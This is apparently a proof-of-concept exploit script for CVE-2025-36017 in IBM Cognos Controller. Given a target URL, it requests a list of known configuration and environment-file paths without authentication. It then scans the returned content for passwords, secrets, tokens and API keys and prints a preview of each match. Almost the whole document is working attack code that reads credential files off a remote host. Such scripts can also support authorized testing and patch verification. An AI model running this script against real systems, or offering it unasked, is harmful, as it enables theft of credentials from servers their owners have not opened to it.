CVE-2025-36017

# CVE-2025-36017 PoC - Environment Variables File Access # Target: IBM Controller / IBM Cognos Controller # Vulnerability: Unencrypted sensitive information in env files import os import sys import requests from pathlib import Path def check_vulnerability(target_url): """Check if target is vulnerable to CVE-2025-36017""" # Common environment variable file paths for IBM Controller env_file_paths = [ "/opt/ibm/cognos/controller/configuration/cogstartup.xml", "/opt/ibm/cognos/controller/configuration/env.properties", "/opt/ibm/cognos/controller/configuration/ccr_environ.properties", "C:\\Program Files\\IBM\\Cognos\\Controller\\configuration\\env.properties", "C:\\Program Files\\IBM\\Cognos\\Controller\\configuration\\ccr_environ.properties", "/ibm/cognos/controller/configuration/environment variables.txt", "/ibm/cognos/controller/logs/env_dump.log" ] print(f"[*] Scanning target: {target_url}") print(f"[*] Checking for CVE-2025-36017 vulnerability...") vulnerable_files = [] for file_path in env_file_paths: try: # Attempt to access environment variable files # In real scenario, this would be done via authenticated session response = requests.get( f"{target_url}/files/{file_path}", timeout=10, verify=False ) if response.status_code == 200: content = response.text # Check for sensitive patterns sensitive_patterns = [ "password", "secret", "key", "token", "credential", "PASSWORD", "SECRET", "API_KEY" ] if any(pattern in content.lower() for pattern in sensitive_patterns): print(f"[+] VULNERABLE: Found sensitive data in {file_path}") vulnerable_files.append(file_path) print(f" Content preview: {content[:200]}...") except requests.exceptions.RequestException as e: continue if vulnerable_files: print(f"\n[!] Target is VULNERABLE to CVE-2025-36017") print(f"[!] Found {len(vulnerable_files)} vulnerable files") return True else: print("[-] Target appears NOT vulnerable") return False if __name__ == "__main__": if len(sys.argv) > 1: target = sys.argv[1] else: target = "http://target-ibm-controller.local" check_vulnerability(target)

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